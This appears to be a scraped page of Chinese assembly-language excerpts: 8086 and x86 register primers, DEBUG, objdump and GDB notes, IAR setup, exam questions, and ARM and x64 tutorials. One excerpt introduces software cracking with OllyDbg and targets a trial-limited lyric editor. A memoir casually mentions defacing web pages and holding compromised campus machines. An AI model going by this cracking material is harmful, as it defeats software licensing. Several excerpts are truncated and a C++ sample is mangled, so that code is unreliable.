“哎哟,哥们儿,还捣鼓汇编呢?那东西没用,兄弟用VB"钓"一个API就够你忙活个十天半月的,还不一定搞出来。”此君之言倒也不虚,那吾等还有无必要研他一究呢?(废话,当然有啦!要不然你写这篇文章干嘛。)别急,别急,让我把这个中原委慢慢道来:一、所有电脑语言写出的程序运行时在内存中都以机器码方式存储,机器码可以被比较准确的翻译成汇编语言,这是因为汇编语言兼容性最好,故几乎所有跟踪、调试工具(包括WIN95/98下)都是以汇编示人的,如果阁下对CRACK颇感兴趣……;二、汇编直接与硬件打交道,如果你想搞通程序在执行时在电脑中的来龙去脉,也就是搞清电脑每个组成部分究竟在干什么、究竟怎么干?一个真正的硬件发烧友,不懂这些可不行。三、如今玩DOS的多是“高手”,如能像吾一样混入(我不是高手)“高手”内部,不仅可以从“高手”朋友那儿套些黑客级“机密”,还可以自诩“高手”尽情享受强烈的虚荣感--#$%&“醒醒!” 对初学者而言,汇编的许多命令太复杂,往往学习很长时间也写不出一个漂漂亮亮的程序,以致妨碍了我们学习汇编的兴趣,不少人就此放弃。所以我个人看法学汇编,不一定要写程序,写程序确实不是汇编的强项,大家不妨玩玩DEBUG,有时CRACK出一个小软件比完成一个程序更有成就感(就像学电脑先玩游戏一样)。某些高深的指令事实上只对有经验的汇编程序员有用,对我们而言,太过高深了。为了使学习汇编语言有个好的开始,你必须要先排除那些华丽复杂的命令,将注意力集中在最重要的几个指令上(CMP LOOP MOV JNZ……)。但是想在啰里吧嗦的教科书中完成上述目标,谈何容易,所以本人整理了这篇超浓缩(用WINZIP、WINRAR…依次压迫,嘿嘿!)教程。大言不惭的说,看通本文,你完全可以“不经意”间在前辈或是后生卖弄一下DEBUG,很有成就感的,试试看!那么――这个接下来呢?――Here we go!(阅读时看不懂不要紧,下文必有分解) 因为汇编是通过CPU和内存跟硬件对话的,所以我们不得不先了解一下CPU和内存:(关于数的进制问题在此不提) CPU是可以执行电脑所有算术╱逻辑运算与基本I/O控制功能的一块芯片。一种汇编语言只能用于特定的CPU。也就是说,不同的CPU其汇编语言的指令语法亦不相同。个人电脑由1981年推出至今,其CPU发展过程为:8086→80286→80386→80486→PENTIUM →……,还有AMD、CYRIX等旁支。后面兼容前面CPU的功能,只不过多了些指令(如多能奔腾的MMX指令集)、增大了寄存器(如386的32位EAX)、增多了寄存器(如486的FS)。为确保汇编程序可以适用于各种机型,所以推荐使用8086汇编语言,其兼容性最佳。本文所提均为8086汇编语言。寄存器(Register)是CPU内部的元件,所以在寄存器之间的数据传送非常快。用途:1.可将寄存器内的数据执行算术及逻辑运算。2.存于寄存器内的地址可用来指向内存的某个位置,即寻址。3.可以用来读写数据到电脑的周边设备。8086有8个8位数据寄存器,这些8位寄存器可分别组成16位寄存器:AH&AL=AX:累加寄存器,常用于运算;BH&BL=BX:基址寄存器,常用于地址索引;CH&CL=CX:计数寄存器,常用于计数;DH&DL=DX:数据寄存器,常用于数据传递。为了运用所有的内存空间,8086设定了四个段寄存器,专门用来保存段地址:CS(Code Segment):代码段寄存器;DS(Data Segment):数据段寄存器;SS(Stack Segment):堆栈段寄存器;ES(Extra Segment):附加段寄存器。当一个程序要执行时,就要决定程序代码、数据和堆栈各要用到内存的哪些位置,通过设定段寄存器CS,DS,SS来指向这些起始位置。通常是将DS固定,而根据需要修改CS。所以,程序可以在可寻址空间小于64K的情况下被写成任意大小。所以,程序和其数据组合起来的大小,限制在DS所指的64K内,这就是COM文件不得大于64K的原因。8086以内存做为战场,用寄存器做为军事基地,以加速工作。除了前面所提的寄存器外,还有一些特殊功能的寄存器:IP(Intruction Pointer):指

软件破解入门教程

先教大家一些基础知识,学习破解其实是要和程序打交道的,汇编是破解程序的必备知识,但有可能部分朋友都没有学习过汇编语言,所以我就在这里叫大家一些简单实用的破解语句吧! ---------------------------------------------------------------------------------------------------------------- 语句:cmp a,b //cmp是比较的意思!在这里假如a=1,b=2 那么就是a与b比较大小. mov a,b //mov是赋值语句,把b的值赋给a. je/jz //就是相等就到指定位置(也叫跳转). jne/jnz //不相等就到指定位置. jmp //无条件跳转. jl/jb //若小于就跳. ja/jg //若大于就跳. jge //若大于等于就跳. 这里以一款LRC傻瓜编辑器为例,讲解一下软件的初步破解过程。大家只要认真看我的操作一定会!假如还是不明白的话提出难点帮你解决,还不行的话直接找我!有时间给你补节课!呵呵! 目标:LRC傻瓜编辑器杀杀杀~~~~~~~~~ 简介:本软件可以让你听完一首MP3歌曲,便可编辑完成一首LRC歌词。并且本软件自身还带有MP3音乐播放和LRC歌词播放功能,没注册的软件只能使用15天。 工具/原料 我们破解或给软件脱壳最常用的软件就是OD全名叫Ollydbg,界面如图: 它是一个功能很强大的工具,左上角是cpu窗口,分别是地址,机器码,汇编代码,注释;注释添加方便,而且还能即时显示函数的调用结果,返回值. 右上角是寄存器窗口,但不仅仅反映寄存器的状况,还有好多东东;双击即可改变Eflag的值,对于寄存器,指令执行后发生改变的寄存器会用红色突出显示. cpu窗口下面还有一个小窗口,显示当前操作改变的寄存器状态. 左下角是内存窗口.可以ascii或者unicode两种方式显示内存信息. 右下角的是当前堆栈情况,还有注释啊. 步骤/方法 1. 我们要想破解一个软件就是修改它的代码,我们要想在这代码的海洋里找到我们破解关键的代码确实很棘 手,所以我们必须找到一定的线索,一便我们顺藤摸瓜的找到我们想要的东东,现在的关键问题就是什么

汇编语言基础实验

实验1 DEBUG调试命令的练习(验证性实验) 一、实验目的 熟悉DEBUG环境、练习DEBUG调试程序的主要命令。二、实验内容 利用DEBUG调试程序练习编写和调试小程序段。 三、实验步骤 1.进入DEBUG调试环境; ①首先,点击开始--运行;(也可采用其他方式进入) ②在运行窗口下,输入cmd; ③点击确定之后,转到命令窗口,输入DEBUG并回车; 2.用R 命令查看并记录各寄存器内容及有关标志位的状态。 ①输入R 命令并回车; ②查看并记录有关寄存器内容。

3.用R 命令按表3的要求修改AX,BX,CX,DX等寄存器内容;用R命令查看结果是否正确并采用屏幕截图的方法记录结果。 4.用D查看ds:2000开始内存单元的内容,并采用屏幕截图的方法记录结果。 5.用E命令将‘ ABCDEFGHIJKLMN’, 0D , 0A , ‘ $ ’ 的ASCII码填入内存ds:2000处。 方法1:ASCII码输入; 方法2:字符串输入; 6.用D命令观察内存ds:2000处的16进制码及屏幕右边的ASCII字符是否正确,并采用屏幕截图的方法记录结果。 7.将所有的字符变为小写,重复5、6两步,注意对比大、小写英文字母ASCII码间关系。 8.Q命令退出DEBUG,重新进入DEBUG,用A命令在内存cs:100处键入下列内容: MOV AX,4321 MOV BX,5678 XCHG AX ,BX MOV AH,35 MOV AL,48 MOV DX,75AB XCHG AX,DX 9.用U cs:100命令检查键入的程序并记录,特别注意屏幕左边的机器码。

10.用R 命令对IP寄存器赋初值100; 11.用T命令逐条运行上述指令,每执行一次T命令检查并记录有关寄存器及IP的变化情况。并注意标志位有无变化。(用R 命令检查各寄存器内容,特别注意AX、BX、DX、IP的内容。) 说明:每按一次T命令,按序执行第8步中输入的一条指令,显示执行本条指令后有关寄存器的内容及下一次要执行的指令。 12.用E 命令T执行。 ①用E CS:200命令写入B8 01 00 B9 02 00 01 C8; ②用U CS:200命令对其反汇编,记录汇编指令; 结果:对应的汇编指令为: 13.用R命令先对IP赋初值200,再用T单步命令逐条执行步骤12中的指令,用R命令查看并记录AX、CX寄存器中的内容,并观察IP寄存器中内容的变化。 14.用命令D 观察内存FFFF0H~FFFFFH的内容,查看你所用电脑中的BIOS的生产日期。

objdump命令

objdump命令 objdump命令是用查看目标文件或者可执行的目标文件的构成的gcc工具。选项 --archive-headers -a 显示档案库的成员信息,类似ls -l将lib*.a的信息列出。 -b bfdname --target=bfdname 指定目标码格式。这不是必须的,objdump能自动识别许多格式,比如: objdump -b oasys -m vax -h fu.o 显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys编译器生成的目标文件。objdump -i将给出这里可以指定的目标码格式列表。 -C --demangle 将底层的符号名解码成用户级名字,除了去掉所开头的下划线之外,还使得C++函数名以可理解的方式显示出来。

--debugging -g 显示调试信息。企图解析保存在文件中的调试信息并以C语言的语法显示出来。仅仅支持某些类型的调试信息。有些其他的格式被readelf -w支持。 -e --debugging-tags 类似-g选项,但是生成的信息是和ctags工具相兼容的格式。 --disassemble -d 从objfile中反汇编那些特定指令机器码的section。 -D --disassemble-all 与-d 类似,但反汇编所有section. --prefix-addresses 反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。

-EB -EL --endian={big|little} 指定目标文件的小端。这个项将影响反汇编出来的指令。在反汇编的文件没描述小端信息的时候用。例如S-records. -f --file-headers 显示objfile中每个文件的整体头部摘要信息。 -h --section-headers --headers 显示目标文件各个section的头部摘要信息。 -H --help 简短的帮助信息。 -i --info

一个简单的C程序反汇编解析.

一个简单的 C++程序反汇编解析 本系列主要从汇编角度研究 c++语言机制和汇编的对应关系。第一篇自然应该从最简单的开始。 c++的源代码如下: class my_class { public : my_class( { m_member = 1; } void method(int n { m_member = n; } ~my_class( { m_member = 0; } private :

int m_member; }; int _tmain(int argc, _tchar* argv[] { my_class a_class; a_class.method(10; return 0; } 可以直接 debug 的时候看到 assembly 代码,不过这样获得的代码注释比较少。比较理想的方法是利用 vc 编译器的一个选项 /fas来生成对应的汇编代码。 /fas还会在汇编代码中加入注释注明和 c++代码的对应关系,十分有助于分析。 build 代码便可以在输出目录下发现对应的 .asm 文件。本文将逐句分析汇编代码和 c++的对应关系。 首先是 winmain : _text segment _wmain proc push ebp ; 保存旧的 ebp mov ebp, esp ; ebp保存当前栈的位置 push -1 ; 建立 seh(structured exception handler链 ; -1表示表头 , 没有 prev

push __ehhandler$_wmain ; seh异常处理程序的地址 mov eax, dword ptr fs:0 ; fs:0指向 teb 的内容,头 4个字节是当前 seh 链的地址 push eax ; 保存起来 sub esp, d8h ; 分配 d8h 字节的空间 push ebx push esi push edi lea edi, dword ptr [ebp-e4h] ; e4h = d8h + 4 * 3,跳过中间 ebx, esi, edi mov ecx, 36h ; 36h*4h=d8h,也就是用 36h 个 cccccccch 填满刚才分配的 d8h 字节空间 mov eax, cccccccch rep stosd mov eax, dword ptr ___security_cookie xor eax, ebp push eax ; ebp ^ __security_cookie压栈保存 lea eax, dword ptr [ebp-0ch] ; ebp-0ch 是新的 seh 链的结构地址(刚压入栈中的栈地址 mov dword ptr fs:0, eax ; 设置到 teb 中作为当前 active 的 seh 链表末尾 到此为止栈的内容是这样的: 低地址 security cookie after xor

IAR -arm 入门教程

IAR 使用说明 关于文档(初版): 1.主要是为了给IAR的绝对新手作参考用 2.emot制件,由Zigbee & IAR 学习小组保持修订权 3.希望用IAR朋友能将它修订完善 4.任何人可无偿转载、传播本文档,无须申请许可,但请保留文档来源及标志 5.如无重大升级,请沿用主版本号 版本 版本号制作时间制定人/修改人说明 1.00 2008/7/27 emot 初版(仅供新手参考) 1.01 2010/8/19 Emot 增加 下载程序(第四章) 在线调试程序(第五章) 序: 其实IAR和keil区别也没有多大,不过很多人就是怕(当初我也怕)。怕什么呢,怕学会了,真的就是害怕学习的心理让新手觉得IAR是个不好用的或者说“还不会用的”一个工具吧。我也是一个刚毕业的小子,如果说得不妥,还请大家来点砖头,好让小组筑高起来。(Zigbee & IAR 学习小组地址是https://www.wendangku.net/doc/a310469564.html,/673) 初版我将会说明以下3个问题,IAR的安装、第一个IAR工程的建立和工作编译。这是我写的第一个使用说明,不足的以后补充吧。 一、IAR软件安装图解 1.打开IAR软件安装包进入安装界面 打开软件开发包

软件安装界面 2.按照提示步骤执行,一直到授权页面,输入序列号,IAR中有两层序列号,所以要输入两 组序列号。 输入第一组序列号

3.选择安装路径(最好默认,不默认也不影响使用) 路径选择页面

修改路径4.选择全部安装(Full) 选择全部安装5.按提示知道安装完成。

安装完成页面 二、新建第一个IAR工程 用IAR首先要新建的是工作区,而不是工程。在工作区里再建立工程,一个工作区里似乎也不能建多个工程(我试过,但没成功,不知道IAR里提出workspace的概念是为什么?)要不打IAR的help来看,说清楚也是头痛的事,先知道有要在工作空间里建工程就对了。新建IAR工作空间,首先是菜单File里选择Open再选择Workspace,为方便说明再遇到菜 单我就直接说成File-Open-Workspace这样了。看了下面图上的红圈就知道是怎么回事了。 接着就会看到一片空白。这时就是新的“办公区”了。

Linux基本反汇编结构与GDB入门

Linux下的汇编与Windows汇编最大的不同就是第一个操作数是原操作数,第二个是目的操作数,而Windows下却是相反。 1、基本操作指令 简单的操作数类型说明,一般有三种, (1)立即数操作数,也就是常数值。立即数的书写方式是“$”后面跟一个整数,比如$0x1F,这个会在后面的具体分析中见到很多。 (2)寄存器操作数,它表示某个寄存器的内容,用符号Ea来表示任意寄存器a,用引用R[Ea]来表示它的值,这是将寄存器集合看成一个数组R,用寄存器表示符作为索引。 (3)操作数是存储器引用,它会根据计算出来的地址(通常称为有效地址)访问某个存储器位置。用符号Mb[Addr]表示对存储在存储器中从地址Addr开始的b字节值的引用。通常可以省略下标b。 图1表示有多种不同的寻址模式,一个立即数偏移Imm,一个基址寄存器Eb,一个变址或索引寄存器Ei和一个伸缩因子s。有效地址被计算为Imm+R[Eb]+R[Ei]*s,对于这中寻址方式,我们可以在数组或者结构体中进行对元

注:操作数可以是立即数值、寄存器值或是来自存储器的值,伸缩因子必须是1、2、4、或者是8。从上面的图我们就可以大致了解操作数的类型了。 在操作指令中,最频繁使用的指令是执行数据传送的指令。对于传送指令的两个操作数不能都指向存储器位置(我的理解是一般存储器存储的都是地址,不能够对地址和地址进行操作)。将一个值从一个存储器位置拷到另一个存储器位置需要两条指令——第一条指令将源值加载到寄存器中,第二条将该寄存器值写入到目的位置。下面给出源操作数和目的操作数的五种可能组合。 1、movl $0x4050, %eax 立即数——寄存器 2、movl %ebp, %esp 寄存器——寄存器 3、movl (%edi, %ecx), %eax 存储器——寄存器 4、movl $-17, (%esp) 立即数——存储器 5、movl %eax, -12(%ebp) 寄存器——存储器 注意这里的指令mov可能有不同的形式,不同平台的汇编一般是有些不一样的, 结合例子来进行讲解一下指令的具体操作,在这里将会正式接触到Linux下的GCC开发环境和GDB调试器,不过都是比较简单的应用。我的Linux操作系统是Ubuntu9.10,其它版本的差别应该不大, 如果我们要编写一个程序,我们可以用Linux下自带的vi或vim编辑器,studyrush@studyrush-desktop:~/C$ vi exchange.c vi 后面加我们要创建的程序文件的名字,在这里是exchange.c studyrush@studyrush-desktop:~/C$ gcc -o exchange exchange.c gcc -o exchange exchange.c 或gcc exchange –o exchange这两者都可以对源文件进行编译,-o exchange 表示对我们要输出的文件名称,可能表达的不够准确,大家可以先熟悉一下gcc编译器,应该就会明白的了。 studyrush@studyrush-desktop:~/C$ ./exchange 点加斜线再加输出文件名就表示运行程序,下面是运行的结果。 a = 3, b = 4

单片机基础知识1章-单片机基础知识

微机原理与接口技术

第一章单片机基础知识 第一节单片机概况 关于课程名称: 《微机原理及应用》或《微机原理及接口技术》,《单片机基础》讲述有关计算机的概念。 计算机有: 微型计算机小型机大型机 按尺寸大小来分,现在界线已模糊。 或按功能强弱来分(尺寸小不等于是差的计算机) 在工业控制或其他应用领域:适用的就是最好的 当一个设备上应用了计算机就可以称做智能设备。 计算机---功能决定了智能化程序。 主要由产品的要求决定。 计算机包括软件和硬件, 硬件构成:五部分=CPU(运算器,控制器),存储器,输入,输出 计算机硬件 控制器C P U 存 储 器 输 入 输 出 运算器只要在硬件结构上包含上述5项,即可称为计算机。

计算机的功能魅力: 例1 例 2 开关 与门

计算机软件:应用型软件,系统软件(对于通用计算机,这一点区分较清楚) 从结构上讲: 应用软件单片机系统侧重 是一种有特定功能的计算机 操作系统 底层BIOS-basic I/O system 硬件 本课程将侧重于:对于一个测/控目标,如何建立一个基于单片机的计算机系统。因此须了解: 单片机硬件结构 单片机功能 单片机的特性 语言 开发方法 参考书和杂志: 1.张迎新等.《单片机初级教程--单片机基础》北京航空航天大学出版社 2.何立民著《单片机应用系统设计》北京航空航天大学出版社 3.李朝青著.《单片机原理及接口技术》(简明修定版).北京航空航天大学出版社,1999 4.单片机与嵌入式系统应用 5.石文华.单片机原理及应用(面向21世纪高等教育规划教材),中国电力出版社.2005.2

反汇编基础知识

计算机寄存器分类简介: 32位CPU所含有的寄存器有: 4个数据寄存器(EAX、EBX、ECX和EDX) 2个变址和指针寄存器(ESI和EDI) 2个指针寄存器(ESP和EBP) 6个段寄存器(ES、CS、SS、DS、FS和GS) 1个指令指针寄存器(EIP) 1个标志寄存器(EFlags) 1、数据寄存器 数据寄存器主要用来保存操作数和运算结果等信息,从而节省读取操作数所需占用总线和访问存储器的时间。 32位CPU有4个32位的通用寄存器EAX、EBX、ECX和EDX。 对低16位数据的存取,不会影响高16位的数据。 这些低16位寄存器分别命名为:AX、BX、CX和DX,它和先前的CPU中的寄存器相一致。 4个16位寄存器又可分割成8个独立的8位寄存器(AX:AH-AL、BX:BH-BL、CX:CH-CL、DX:DH-DL),每个寄存器都有自己的名称,可独立存取。 程序员可利用数据寄存器的这种“可分可合”的特性,灵活地处理字/字节的信息。 寄存器EAX通常称为累加器(Accumulator),用累加器进行的操作可能需要更少时间。可用于乘、除、输入/输出等操作,使用频率很高; 寄存器EBX称为基地址寄存器(Base Register)。它可作为存储器指针来使用; 寄存器ECX称为计数寄存器(Count Register)。

在循环和字符串操作时,要用它来控制循环次数;在位操作中,当移多位时,要用CL来指明移位的位数; 寄存器EDX称为数据寄存器(Data Register)。在进行乘、除运算时,它可作为默认的操作数参与运算,也可用于存放I/O的端口地址。在16位CPU中,AX、BX、CX和DX不能作为基址和变址寄存器来存放存储单元的地址, 在32位CPU中,其32位寄存器EAX、EBX、ECX和EDX不仅可传送数据、暂存数据保存算术逻辑运算结果, 而且也可作为指针寄存器,所以,这些32位寄存器更具有通用性。 2、变址寄存器 32位CPU有2个32位通用寄存器ESI和EDI。 其低16位对应先前CPU中的SI和DI,对低16位数据的存取,不影响高16位的数据。 寄存器ESI、EDI、SI和DI称为变址寄存器(Index Register),它们主要用于存放存储单元在段内的偏移量, 用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。 变址寄存器不可分割成8位寄存器。作为通用寄存器,也可存储算术逻辑运算的操作数和运算结果。 它们可作一般的存储器指针使用。在字符串操作指令的执行过程中,对它们有特定的要求,而且还具有特殊的功能。 3、指针寄存器 其低16位对应先前CPU中的BP和SP,对低16位数据的存取,不影响高16位的数据。 32位CPU有2个32位通用寄存器EBP和ESP。 它们主要用于访问堆栈内的存储单元,并且规定: EBP为基指针(Base Pointer)寄存器,用它可直接存取堆栈中的数据;

6、汇编学习从入门到精通(荐书)

汇编学习从入门到精通Step By Step 2007年12月15日星期六00:34 信息来源:https://www.wendangku.net/doc/a310469564.html,/hkbyest/archive/2007/07/22/1702065.aspx Cracker,一个充满诱惑的词。别误会,我这里说的是软件破解,想做骇客的一边去,这年头没人说骇客,都是“黑客”了,嘎嘎~ 公元1999年的炎热夏季,我捧起我哥留在家的清华黄皮本《IBM-PC汇编语言程序设计》,苦读。一个星期后我那脆弱的小心灵如玻璃般碎裂了,为了弥补伤痛我哭爹求妈弄了8k大洋配了台当时算是主流的PC,要知道那是64M内存!8.4G硬盘啊!还有传说中的Celeon 300A CPU。不过很可惜的是在当时那32k小猫当道的时代,没有宽带网络,没有软件,没有资料,没有论坛,理所当然我对伟大的计算机科学体系的第一步探索就此夭折,此时陪伴我的是那些盗版光盘中的游戏,把CRACK_XXX文件从光盘复制到硬盘成了时常的工作,偶尔看到光盘中的nfo 文件,心里也闪过一丝对破解的憧憬。 上了大学后有网可用了,慢慢地接触到了一些黑客入侵的知识,想当黑客是每一个充满好奇的小青年的神圣愿望,整天看这看那,偷偷改了下别人的网页就欢喜得好像第一次偷到鸡的黄鼠狼。 大一开设的汇编教材就是那不知版了多少次的《IBM-PC汇编语言程序设计》,凭着之前的那星期苦读,考试混了个80分。可惜当时头脑发热,大学60分万岁思想无疑更为主流,现在想想真是可惜了宝贵的学习时间。 不知不觉快毕业了,这时手头上的《黑客防线》,《黑客X档案》积了一大摞,整天注来注去的也厌烦了,校园网上的肉鸡一打一打更不知道拿来干什么。这时兴趣自然转向了crack,看着杂志上天书般的汇编代码,望望手头还算崭新的汇编课本,叹了口气,重新学那已经忘光了的汇编语言吧。咬牙再咬牙,看完寻址方式那章后我还是认输,不认不行啊,头快裂了,第三次努力终告失败。虽然此时也可以爆破一些简单的软件,虽然也知道搞破解不需要很多的汇编知识,但我还是固执地希望能学好这门基础中的基础课程。 毕业了,进入社会了,找工作,上班,换工作成了主流旋律,每天精疲力尽的哪有时间呢?在最初的中国移动到考公务员再到深圳再到家里希望的金融机构,一系列的曲折失败等待耗光了我的热情,我失业了,赋闲在家无所事事,唯一陪伴我的是那些杂志,课本,以及过时的第二台电脑。我不想工作,我对找工作有一种恐惧,我靠酒精麻醉自己,颓废一段日子后也觉得生活太过无聊了,努力看书考了个CCNA想出去,结果还是被现实的就业环境所打败。三年时间,一无所获。 再之后来到女朋友处陪伴她度过刚毕业踏入社会工作的适应时期,这段时间随便找了个电脑技术工作,每月赚那么个几百块做生活费。不过这半年让我收获比较大的就是时间充裕,接触到了不少新东西,我下定决心要把汇编学好,这时我在网上看到了别人推荐的王爽《汇编语言》,没抱什么希望在当当网购了人生中的第一次物,19块6毛,我记得很清楚,呵呵。 废话终于完了,感谢各位能看到这里,下面进入正题吧。

汇编语言入门教程

汇编语言入门教程 2007-04-29 22:04对初学者而言,汇编的许多命令太复杂,往往学习很长时间也写不出一个漂漂亮亮的程序,以致妨碍了我们学习汇编的兴趣,不少人就此放弃。所以我个人看法学汇编,不一定要写程序,写程序确实不是汇编的强项,大家不妨玩玩DEBUG,有时CRACK 出一个小软件比完成一个程序更有成就感(就像学电脑先玩游戏一样)。某些高深的指令事实上只对有经验的汇编程序员有用,对我们而言,太过高深了。为了使学习汇编语言有个好的开始,你必须要先排除那些华丽复杂的命令,将注意力集中在最重要的几个指令上(CMP LOOP MOV JNZ……)。但是想在啰里吧嗦的教科书中完成上述目标,谈何容易,所以本人整理了这篇超浓缩(用WINZIP、WINRAR…依次压迫,嘿嘿!)教程。大言不惭的说,看通本文,你完全可以“不经意”间在前辈或是后生卖弄一下DEBUG,很有成就感的,试试看!那么――这个接下来呢?――Here we go!(阅读时看不懂不要紧,下文必有分解) 因为汇编是通过CPU和内存跟硬件对话的,所以我们不得不先了解一下CPU和内存:(关于数的进制问题在此不提) CPU是可以执行电脑所有算术╱逻辑运算与基本I/O 控制功能的一块芯片。一种汇编语言只能用于特定的CPU。也就是说,不同的CPU其汇编语言的指令语法亦不相同。个人电脑由1981年推出至今,其CPU发展过程为:8086→80286→80386→80486→PENTIUM →……,还有AMD、CYRIX等旁支。后面兼容前面CPU的功能,只不过多了些指令(如多能奔腾的MMX指令集)、增大了寄存器(如386的32位EAX)、增多了寄存器(如486的FS)。为确保汇编程序可以适用于各种机型,所以推荐使用8086汇编语言,其兼容性最佳。本文所提均为8086汇编语言。寄存器(Register)是CPU内部的元件,所以在寄存器之间的数据传送非常快。用途:1.可将寄存器内的数据执行算术及逻辑运算。2.存于寄存器内的地址可用来指向内存的某个位置,即寻址。3.可以用来读写数据到电脑的周边设备。8086 有8个8位数据寄存器,这些8位寄存器可分别组成16位寄存器:AH&AL=AX:累加寄存器,常用于运算;BH&BL=BX:基址寄存器,常用于地址索引;CH&CL=CX:计数寄存器,常用于计数;DH&DL=DX:数据寄存器,常用于数据传递。为了运用所有的内存空间,8086设定了四个段寄存器,专门用来保存段地址:CS(Code Segment):代码段寄存器;DS(Data Segment):数据段寄存器;SS(Stack Segment):堆栈段寄存器;ES(Extra Segment):附加段寄存器。当一个程序要执行时,就要决定程序代码、数据和堆栈各要用到内存的哪些位置,通过设定段寄存器CS,DS,SS 来指向这些起始位置。通常是将DS固定,而根据需要修改CS。所以,程序可以在可寻址空间小于64K的情况下被写成任意大小。所以,程序和其数据组合起来的大小,限制在DS 所指的64K内,这就是COM文件不得大于64K的原因。8086以内存做为战场,用寄存器做为军事基地,以加速工作。除了前面所提的寄存器外,还有一些特殊功能的寄存器:IP(Intruction Pointer):指令指针寄存器,与CS配合使用,可跟踪程序的执行过程;SP(Stack Pointer):堆栈指针,与SS配合使用,可指向目前的堆栈位置。BP(Base Pointer):基址指针寄存器,可用作SS的一个相对基址位置;SI(Source Index):源变址寄存器可用来存放相对于DS 段之源变址指针;DI(Destination Index):目的变址寄存器,可用来存放相对于ES 段之目的变址指针。还有一个标志寄存器FR(Flag Register),有九个有意义的标志,将在下文用到时详细说明。

微机基本知识题集(附答案解析)

微机原理题集 ★8、一般一个总线周期可分为___T1____ 、___T2____ 、__T3_____和_____T4__状态。 ★3、指令JO NEXT 表示OF=__1_____时转移。 ★3、DEBUG命令中,反汇编命令的英文字母为___U___,显示内存命令的英文字母为_____D___,跟踪执行命令的英文字母为____T____,显示和修改寄存器的命令____R____,汇编命令是_____A___。 ★7、CPU与IO设备之间数据传送控制方式常见的有__程序控制方式____、__中断控制方式____和_DMA_____三种。 ★5.下列指令执行时出错的是(B) A.ADD BUF1,BUF2 B.JMP DWORD PTR DAT [BX] C.MOV AX,[BX+DI] NUM D.TEST AL,08H ★10.下列指令中,源操作数的寻址方式中,(C)属于立即寻址, (B)属于寄存器寻址,(E)属于寄存器间接寻址,

(A)属于直接寻址,(D)属于寄存器相对寻址。 A)MOV AX,[4000H] B)MOV [BX],AX C)SUB AX,2000H D)MOV AX,[SI+12H] E)MOV CX,[BX] F)MOV AX,[SI+BX+10H] ★13.指令LOOPNZ的循环结束条件是(D)。 A)CX=0且ZF=0 B)CX=0或ZF=0 C)CX=0且ZF=1 D)CX=0或ZF=1 14、指令CALL DWORD PTR [BX]目标地址的寻址方式为D A)段内直接B)段内间接C)段间直接D)段间间接 ★1.语句DA1 DB 2 DUP(4,6),5汇编后,与该语句功能等同的语句是(C)。 A)DA1 DB 4,6,5 B)DA1 DB 2,4,6,5 C)DA1 DB 4,6,4,6,5 D)DA1 DB 4,6,5,4,6,5 1、微机系统由(硬件系统)和(软件系统)两部分组成。

arm反汇编.

在bin文件中,就是一条条的机器指令,每条指令4个字节。 在ADS中打开一个.s文件,选择project->disassemble 可以看到汇编的机器码 汇编代码如下(ADS中的一个例程\ARM\ADSv1_2\Examples\asm\armex.s): AREA ARMex, CODE, READONL Y ; name this block of code ENTRY ; mark first instruction ; to execute start MOV r0, #10 ; Set up parameters MOV r1, #3 ADD r0, r0, r1 ; r0 = r0 + r1 stop MOV r0, #0x18 ; angel_SWIreason_ReportException LDR r1, =0x20026 ; ADP_Stopped_ApplicationExit SWI 0x123456 ; ARM semihosting SWI END ; Mark end of file 执行project->disassemble后: ** Section #1 'ARMex' (SHT_PROGBITS) [SHF_ALLOC + SHF_EXECINSTR + SHF_ENTRYSECT] Size : 28 bytes (alignment 4) start $a ARMex 0x00000000: e3a0000a .... MOV r0,#0xa 0x00000004: e3a01003 .... MOV r1,#3 0x00000008: e0800001 .... ADD r0,r0,r1 stop 0x0000000c: e3a00018 .... MOV r0,#0x18 0x00000010: e59f1000 .... LDR r1,0x18 0x00000014: ef123456 V4.. SWI 0x123456 $d 0x00000018: 00020026 &... DCD 131110 使用UltraEdit看bin文件如下: 可以看到,与上面的一样。 其中MOV的机器码如下(ARM体系结构pdf:p156):

Windows X86-64位汇编语言入门

Windows X86-64位汇编语言入门 Windows X64汇编入门(1) 最近断断续续接触了些64位汇编的知识,这里小结一下,一是阶段学习的回顾,二是希望对64位汇编新手有所帮助。我也是刚接触这方面知识,文中肯定有错误之处,大家多指正。 文章的标题包含了本文的四方面主要内容: (1)Windows:本文是在windows环境下的汇编程序设计,调试环境为Windows Vista 64位版,调用的均为windows API。 (2)X64:本文讨论的是x64汇编,这里的x64表示AMD64和Intel的EM64T,而不包括IA64。至于三者间的区别,可自行搜索。 (3)汇编:顾名思义,本文讨论的编程语言是汇编,其它高级语言的64位编程均不属于讨论范畴。 (4)入门:既是入门,便不会很全。其一,文中有很多知识仅仅点到为止,更深入的学习留待日后努力。其二,便于类似我这样刚接触x64汇编的新手入门。 本文所有代码的调试环境:Windows Vista x64,Intel Core 2 Duo。 1. 建立开发环境 1.1 编译器的选择 对应于不同的x64汇编工具,开发环境也有所不同。最普遍的要算微软的MASM,在x64环境中,相应的编译器已经更名为ml64.exe,随Visual Studio 2005一起发布。因此,如果你是微软的忠实fans,直接安装VS2005既可。运行时,只需打开相应的64位命令行窗口(图1),便可以用ml64进行编译了。

第二个推荐的编译器是GoASM,共包含三个文件:GoASM编译器、GoLINK链接器和GoRC 资源编译器,且自带了Include目录。它的最大好外是小,不用为了学习64位汇编安装几个G 的VS。因此,本文的代码就在GoASM下编译。 第三个Yasm,因为不熟,所以不再赘述,感兴趣的朋友自行测试吧。 不同的编译器,语法会有一定差别,这在下面再说。 1.2 IDE的选择 搜遍了Internet也没有找到支持asm64的IDE,甚至连个Editor都没有。因此,最简单的方法是自行修改EditPlus的masm语法文件,这也是我采用的方法,至少可以得到语法高亮。当然,如果你懒得动手,那就用notepad吧。 没有IDE,每次编译时都要手动输入不少参数和选项,做个批处理就行了。 1.3 硬件与操作系统 硬件要求就是64位的CPU。操作系统也必须是64位的,如果在64位的CPU上安装了

OllyDBG完美教程

